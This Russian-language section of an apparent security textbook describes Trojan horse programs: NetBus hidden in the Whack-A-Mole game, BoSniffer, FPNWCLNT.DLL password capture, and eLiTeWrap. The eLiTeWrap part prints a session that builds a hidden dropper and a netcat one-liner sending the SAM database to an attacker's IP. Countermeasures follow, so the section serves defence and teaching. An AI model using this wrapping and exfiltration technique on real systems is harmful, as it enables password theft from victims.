4. Программы типа "троянский конь"



Программы типа "троянский конь"


Как уже упоминалось во введении, "троянский конь" — это программа, которая для вида выполняет какие-нибудь полезные действия, однако на самом деле предназначена совсем для других (зачастую злонамеренных) действий или скрытно устанавливает коварные или разрушительные программы. Многие из рассмотренных выше средств создания "потайных ходов" могут быть помещены во внешне безобидные пакеты, так что конечные пользователи даже не смогут догадаться о том, насколько опасные программы установлены на их компьютерах. В качестве другого примера можно привести коварную программу, маскирующуюся под файл netstat. Эта программа, в отличие от настоящей утилиты netstat, намеренно не показывает некоторые прослушиваемые порты, тем самым скрывая наличие "потайного хода". Ниже вы познакомитесь еще с несколькими примерами программ типа "троянский конь", таких как FPWNCLNT. DLL и "наборы отмычек".
Whack-A-Mole
Популярным средством внедрения программы NetBus является игра под названием Whack-A-Mole. Сама игра представляет собой один исполняемый файл с именем whackamole.exe, который является самораспаковывающимся архивом WinZip. При установке игры Whack-A-Mole устанавливается и сервер NetBus с именем explore.exe, а в поддереве системного реестра HKLM\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run создается соответствующий ключ, ссылающийся на этот исполняемый файл. После этого сервер NetBus будет запускаться при каждой загрузке системы (обратите внимание на имя explore). Все эти действия выполняются довольно незаметно и происходят после появления на экране небольшой привлекательной игры под названием Whack-A-Mole.

BoSniffer



Что может быть лучше, чем инфицирование какой-нибудь системы с помощью программы, предназначенной для поиска "потайных ходов"? Утилита BoSniffer, которая вроде бы призвана выявлять Back Orifice, на самом деле является замаскированной ВО. Так что соблюдайте осторожность при использовании подобных бесплатных средств... К счастью, эту программу можно удалить точно так же, как и обычный сервер ВО (см. разделы выше).

eLiTeWrap



Очень популярной программой типа "троянский конь" является eLiTeWrap. Она предназначена для "упаковки" многочисленных файлов в один исполняемый файл и последующей их распаковки либо запуска на удаленном узле. Как видно из следующего примера, в такую "обертку" можно поместить также сценарии, что позволяет взломщикам реализовать неповторимые атаки. 

С:\nt\ew>elitewrap
eLiTeWrap 1.03 - (С) Tom "eLiTe"
Mclntyre tomSdundeecake.demon.со.uk
http://www.dundeecake.demon.co.uk/elitewrap
Stub size: 7712 bytes Enter name of output file: bad.exe
Operations: 1 - Pack only
2 - Pack and execute, visible, asynchronously
3 - Pack and execute, hidden, asynchronously
4 - Pack and execute, visible, synchronously
5 - Pack and execute, hidden, synchronously
6 - Execute only, visible, asynchronously
7 - Execute only, hidden, asynchronously
8 - Execute only, visible, synchronously
9 - Execute only, hidden, synchronously
Enter package file #1: c:\nt\pwdump.exe
Enter operation: 1 Enter package file#2:c:\nt\nc.exe
Enter operation: 1
Enter package file #3: c:\nt\ew\attack.bat
Enter operation: 7
Enter command line:
Enter package file #4:
All done :)

Теперь в распоряжении взломщика появился файл с именем bad.exe. При запуске из него будут извлечены утилиты pwdump.exe, netcat (nc.exe), а затем запустится командный файл attack.bat, в котором содержится простая команда, например pwdump i nc.exe -n 192.168.1.1 3000. В результате база данных SAM системы NT попадет на компьютер взломщика (192 .168 .1.1, на котором утилиту netcat следует настроить на прослушивание порта 3000).
Программу eLiTeWrap можно обнаружить, если из исполняемого файла взломщик забыл удалить ее сигнатуру. Следующая команда поиска позволит найти сигнатуру в любом файле .ЕХЕ.

С:\nt\ew>find "eLiTeWrap" bad.exe
---BAD.EXE
eLiTeWrap VI.03

Ключевое слово "eLiTeWrap" может измениться, поэтому при выявлении программы eLiTeWrap не следует полностью полагаться на этот признак.

Библиотека FPWNCLNT . DLL для Windows NT



Одна из тайных задач программ типа "троянский конь" состоит в их маскировке под системный компонент регистрации в системе и захвате имен/паролей пользователей. Одним из примеров реализации такого подхода является библиотека FPNWCLNT.DLL, устанавливаемая на серверы NT, на которых требуется выполнять синхронизацию паролей с системами Novell NetWare. Эта библиотека перехватывает изменения паролей перед тем, как они будут зашифрованы и записаны в базу данных SAM, что позволяет службам NetWare получить пароли в удобочитаемом виде, обеспечивая тем самым единую форму регистрации.
В Internet был помещен код, позволяющий регистрировать факты изменения паролей и заносить сведения об этих изменениях (а не сами пароли) в файл C:\TEMP\PWDCHANGE. OUT. (Более подробную информацию и пример кода можно найти по адресу http://www.ntsecurity.net/security/passworddll.htm.) Хотя эта программа позволяет отслеживать только изменение паролей, ее легко модифицировать так, чтобы с ее помощью можно было захватывать и сами пароли в обычном текстовом формате.

Контрмеры



Если нет необходимости в синхронизации паролей между системами NT и NetWare, удалите файл FPNWCLNT.DLL из каталога %systemroot*\system32. Следует проверить также поддерево системного реестра HKEY_LOCAL_MACKINE\SYSTEM\CurrentControlSet\ Control\Lsa\Notificaion Packages (REG_MULTI_SZ) и удалить из него строку FPNWCLNT. Если эта динамически подключаемая библиотека все же необходима для работы в смешанной среде, сравните атрибуты используемого файла с атрибутами его проверенной копии (например, содержащейся на установочном компакт-диске) и убедитесь, что это исходная версия компании Microsoft. Если возникли какие-то сомнения, лучше восстановить данный файл с проверенного носителя.